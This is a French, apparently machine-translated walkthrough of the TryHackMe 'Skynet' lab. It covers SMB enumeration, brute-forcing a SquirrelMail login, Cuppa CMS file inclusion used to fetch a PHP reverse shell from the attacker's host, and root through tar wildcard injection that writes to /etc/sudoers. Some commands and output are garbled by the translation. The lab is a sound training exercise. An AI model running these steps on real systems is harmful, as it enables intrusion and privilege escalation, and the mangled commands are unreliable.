Skynet – Tryhackme – Rédaction du manuel

Reading Time: ( Word Count: )

February 23, 2021
Nextdoorsec-course

Intro

La machine Skynet couvre les sujets suivants :

  • Serveur smb vulnérable
  • Renforcement brutal de Squirrelmail avec Burpsuite
  • Inclusion de fichiers locaux/à distance
  • Exploitation des caractères génériques sous Linux

Enumération

Nmap

Commencer par un scan Nmap :

┌──(kali㉿kali)-[~] └─$ nmap -v -A $IP
ÉTAT DU PORT VERSION DU SERVICE 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux ; protocole 2.0) | ssh-hostkey : | 2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA) | 256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA) |_ 256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods : |Méthodes supportées : GET HEAD POST OPTIONS |_http-server-header : Apache/2.4.18 (Ubuntu) |_http-title : Skynet 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities : RESP-CODES PIPELINING TOP UIDL AUTH-RESP-CODE SASL CAPA 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup : WORKGROUP) 143/tcp open imap Dovecot imapd |_imap-capabilities : Pre-login OK LOGIN-REFERRALS IMAP4rev1 ID more ENABLE listed LOGINDISABLEDA0001 have IDLE post-login LITERAL+ SASL-IR capabilities 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup : WORKGROUP) Service Info : Host : SKYNET ; OS : Linux ; CPE : cpe:/o:linux:linux_kernel

Nous avons découvert des ports ouverts intéressants : un serveur pop3 sur le port 110, un serveur de messagerie IMAP sur le port 143, un serveur http ouvert sur son port par défaut et un serveur samba qui prend en charge le protocole SMB. SMB dispose de deux ports, 445 et 139.

À l’origine, SMB fonctionnait au-dessus de NetBIOS en utilisant le port 139, mais comme NetBIOS est une couche de transport plus ancienne pour les ordinateurs Windows, le port 445 a pris sa place après Windows 2000. Il s’exécute désormais au-dessus d’une pile TCP, ce qui permet à SMB de fonctionner sur l’internet.

Gobuster

Le serveur web http ne contient rien d’intéressant, nous allons donc le forcer brutalement pour trouver d’autres répertoires :

┌──(kali㉿kali)-[~] └─$ gobuster dir -u http://$IP/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e -r
=============================================================== http://10.10.176.19/admin (Statut : 403) http://10.10.176.19/css (Statut : 403) http://10.10.176.19/js (Statut : 403) http://10.10.176.19/config (Statut : 403) http://10.10.176.19/ai (Statut : 403) http://10.10.176.19/squirrelmail (Status: 200) ===============================================================

Nous avons découvert une page de connexion pour SquirrelMail mais nous avons besoin d’informations d’identification.

 

Samba

Enumérons le serveur samba avec les scripts Nmap :

┌──(kali㉿kali)-[~] └─$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $IP
PORT STATE SERVICE 445/tcp open microsoft-ds Résultats du script de l'hôte : | smb-enum-shares : | Compte_utilisé : invité | .10.176.19\IPC$: | Type : STYPE_IPC_HIDDEN | Commentaire : Service IPC (serveur skynet (Samba, Ubuntu)) | Utilisateurs : 2 | Utilisateurs max : | Chemin d'accès : C:\Ntmp | Accès anonyme : READ/WRITE (LECTURE/ÉCRITURE) | Accès de l'utilisateur actuel : READ/WRITE (LECTURE/ÉCRITURE) \N- 10.10.176.19\N- Anonyme : | Type : STYPE_DISKTREE | Commentaire : Skynet Anonymous Share | Utilisateurs : 0 | Utilisateurs max : | Chemin d'accès : C:\srv\samba | Accès anonyme : READ/WRITE (LECTURE/ÉCRITURE) | Accès de l'utilisateur actuel : READ/WRITE (LECTURE/ÉCRITURE) | \N- 10.10.176.19 \N- Milesdyson : | Type : STYPE_DISKTREE | Commentaire de l'auteur : Miles Dyson Personal Share | Utilisateurs : 0 | Utilisateurs max : | Chemin d'accès : C:\home\milesdyson\share | Accès anonyme : | L'accès de l'utilisateur actuel : | 10.10.176.19\N-print$ : | Type : STYPE_DISKTREE | Commentaire : Pilotes d'imprimante | Utilisateurs : 0 | Utilisateurs max : | Chemin d'accès : C:\var\samba\printers | Accès anonyme : |Accès de l'utilisateur actuel : | smb-enum-users : | SKYNET\milesdyson (RID : 1000) | Nom complet : | Description : |Flags : Compte d'utilisateur normal

L’accès anonyme semble être autorisé ; ajoutons également l’utilisateur “milesdyson” dans nos notes.

┌──(kali㉿kali)-[~] └─$ smbclient //$IP/anonymous smb : \Ncd logs smb : \N-logs\N- ls . D 0 Wed Sep 18 06:42:16 2019 ... D 0 Thu Nov 26 17:04:00 2020 log2.txt N 0 Wed Sep 18 06:42:13 2019 log1.txt N 471 Wed Sep 18 06:41:59 2019 log3.txt N 0 Wed Sep 18 06:42:16 2019

L’un des journaux contient des mots de passe intéressants. Sauvegardons le fichier localement pour une utilisation ultérieure.

Ci-dessus, nous avons trouvé un partage smb nommé milesdyson ; forçons brutalement le serveur de messagerie avec cette information.

Exploitation

Burpsuite

1. Capturer la demande dans Burpsuite
2. Envoyer à l’intrus (Ctrl+I)
3. Ajouter un champ de mot de passe dans le champ d’application/la position pour le forçage brutal
4. Choisissez le type d’attaque Sniper, chargez le fichier des mots de passe trouvés et lancez l’attaque.
5. Recherchez les codes de réponse HTTP qui sortent du lot

 

Maintenant que nous avons le mot de passe, connectons-nous et vérifions ce que nous pouvons trouver d’autre :

Il s’agit du mot de passe pour le partage de notre utilisateur ; nous pouvons l’utiliser pour accéder à son partage samba :

┌──(kali㉿kali)-[~] └─$ smbclient //$IP/milesdyson --user milesdyson
smb : \notes\> ls . D 0 Tue Sep 17 11:18:40 2019 ... D 0 Tue Sep 17 11:05:47 2019 3.01 Search.md N 65601 Tue Sep 17 11:01:29 2019 4.01 Agent-Based Models.md N 5683 Tue Sep 17 11:01:29 2019 2.08 En pratique.md N 7949 Tue Sep 17 11:01:29 2019 0.00 Cover.md N 3114 Tue Sep 17 11:01:29 2019 1.02 Linear Algebra.md N 70314 Tue Sep 17 11:01:29 2019 important.txt N 117 Tue Sep 17 11:18:39 2019 6.01 pandas.md N 9221 Tue Sep 17 11:01:29 2019 3.00 Artificial Intelligence.md N 33 Tue Sep 17 11:01:29 2019 2.01 Overview.md N 1165 Tue Sep 17 11:01:29 2019 ... rapide réinvestir mget *

 

L’ouverture du fichier important.txt révèle un répertoire caché :

┌──(kali㉿kali)-[~] └─$ cat important.txt
1. Ajouter des fonctionnalités au CMS beta /45kra24zxs28v3yd 2. Travailler sur les plans du T-800 modèle 101 3. Passer plus de temps avec ma femme

 

Vérifions le CMS dans ce répertoire caché :

Il n’y a pas grand-chose à voir, mais il y a probablement une page de connexion puisqu’il s’agit d’un système de gestion de contenu (CMS) ; faisons de la force brute pour trouver d’autres répertoires.

┌──(kali㉿kali)-[~] └─$ gobuster dir -u http://$IP/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e -r
http://10.10.167.244/45kra24zxs28v3yd/administrator (Status: 200)

 

Nous avons trouvé la page de connexion :

 

La vérification du code source ne révèle rien sur la version du CMS. J’ai encore cherché dans searchsploit quelque chose d’intéressant :

┌──(kali㉿kali)-[~] └─$ searchsploit cuppa
------------------------------------------------------------------------------ --------------------------------- Titre de l'exploit | Chemin d'accès ------------------------------------------------------------------------------ --------------------------------- Cuppa CMS - '/alertConfigField.php' Inclusion de fichier locale/à distance | php/webapps/25971.txt ------------------------------------------------------------------------------ ---------------------------------

Il s’agit d’une vulnérabilité RFI/LFI, ce qui signifie que nous pouvons inclure des fichiers PHP locaux ou distants (le plus souvent) ou lire des fichiers non-PHP avec cette vulnérabilité. Dans le cas du LFI, l’attaquant doit télécharger le script malveillant sur le serveur cible pour qu’il soit exécuté localement.

┌──(kali㉿kali)-[~] └─$ http://10.10.167.244/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ...

 

Utilisons-le maintenant pour obtenir une coquille inversée. Tout d’abord, nous devons démarrer un listener, puis le serveur http local et ensuite appeler le script PHP à partir de là :

┌──(kali㉿kali)-[~] └─$ sudo nc -nlvp 443
┌──(kali㉿kali)-[~] └─$ python3 -m http.server 5300
┌──(kali㉿kali)-[~] └─$ http://10.10.167.244/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.8.152.221:5300/revsh.php

Si vous utilisez Kali Linux, vous devriez avoir un script PHP inversé disponible localement dans le dossier suivant :
/usr/share/webshells/php/php-reverse-shell.php. Copiez-le et modifiez l’adresse IP et le numéro de port pour vous reconnecter.

à l'écoute [any] 443 ... se connecter à [10 .8.152.221] de (INCONNU) [10 .10.167.244] 38510 Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 10:46:22 up 38 min, 0 utilisateurs, charge moyenne : 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh : 0 : ne peut pas accéder à l'appareil ; le contrôle des tâches est désactivé $ whoami www-data

Maintenant que nous avons le drapeau de l’utilisateur. Augmentons les privilèges !

L’escalade des privilèges

Exploitation de la carte Wildcard

Je n’ai pas trouvé de binaires compatibles avec le bit SUID. J’ai essayé de voir le etc/shadow sans succès. Après un peu plus d’énumération, j’ai découvert un cronjob inhabituel, qui s’exécute toutes les minutes :

┌──(kali㉿kali)-[~] └─$ cat /etc/crontab
# /etc/crontab : system-wide crontab # Contrairement à toute autre crontab, vous n'avez pas besoin de lancer la commande `crontab' # pour installer la nouvelle version lorsque vous éditez ce fichier # et les fichiers dans /etc/cron.d. Ces fichiers ont également des champs de nom d'utilisateur, # ce qu'aucun des autres crontabs ne fait. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command */1 * * * * * root /home/milesdyson/backups/backup.sh 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #

 

Inspectons-le :

$ cat backup.sh #!/bin/bash cd /var/www/html tar cf /home/milesdyson/backups/backup.tgz *

/bin/bash obtient un shell en tant que root, comme indiqué dans
etc/crontab
puis navigue jusqu’au répertoire /var/www/html et crée une sauvegarde/archive de tout ce qui se trouve dans le répertoire en utilisant la commande
tar
.

À la fin de la commande tar, l’astérisque est un joker qui signifie “tout”. L’astérisque peut être utilisé à diverses fins, telles que ls *.py c’est-à-dire lister tous les fichiers avec l’option .py extension. Tout ce que nous mettons dans /var/www/html sera ajouté au fichier compressé généré par tar.

Il y a plusieurs façons d’exploiter cette situation, mais la plus simple est de le faire. Nous nous ajouterons à la liste des etc/sudoers et de cette façon, nous pourrons exécuter n’importe quelle commande avec sudo, comme sudo bash pour obtenir un shell root. C’est ce que nous essayons de faire en suivant une commande simple :

┌──(kali㉿kali)-[~] └─$ echo "www-data ALL=(root) NOPASSWD : ALL" > /etc/sudoers

 

Pour mieux comprendre les deux commandes suivantes qui seront utilisées pour l’escalade des privilèges, consultez la page de manuel de tar :

┌──(kali㉿kali)-[~] └─$ man tar
Sortie informative --checkpoint[=N] Affiche des messages de progression tous les Nième enregistrements (par défaut 10). --checkpoint-action=ACTION Exécuter ACTION à chaque point de contrôle.

Le caractère générique signifie que nous pouvons procéder à une simple injection d’arguments en écrivant les arguments dont nous avons besoin sous forme de noms de fichiers et utiliser des actions de point de contrôle pour exécuter les commandes.

$ cd var/www/html
$ echo 'echo "www-data ALL=(root) NOPASSWD : ALL" > /etc/sudoers' > root.sh
$ echo "var/www/html" > "--checkpoint-action=exec=sh root.sh"
$ echo "var/www/html" > --checkpoint=1
$ sudo bash whoami root

Lorsqu’ils sont placés entre guillemets simples ('), aucun caractère entre guillemets n’a de signification particulière. Alors que les guillemets doubles (") permettent à l’interpréteur de commandes d’interpréter le signe du dollar ($), bâton(`), barre oblique inversée (\) et le point d’exclamation (!).

Aydan Arabadzha

Aydan Arabadzha

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

Automated vs Manual Penetration Testing

Automated vs Manual Penetration Testing

Pentesting is largely divided into two methodologies: Automated vs Manual Penetration Testing. Both have ...
8 Steps in Penetration Testing You Should Know

8 Steps in Penetration Testing You Should Know

Mastering the art of penetration testing has become a critical ability for security experts to combat cyber ...
Spear Phishing vs Whaling: What is the Difference

Spear Phishing vs Whaling: What is the Difference

Spear phishing is a particularly devious type of phishing assault in which the individual targeted plays a ...
How Often Should Penetration Testing Be Done

How Often Should Penetration Testing Be Done

Penetration testing is a crucial technique that involves simulating a cyberattack on networks, computer systems, ...
0 Comments

Submit a Comment

Your email address will not be published. Required fields are marked *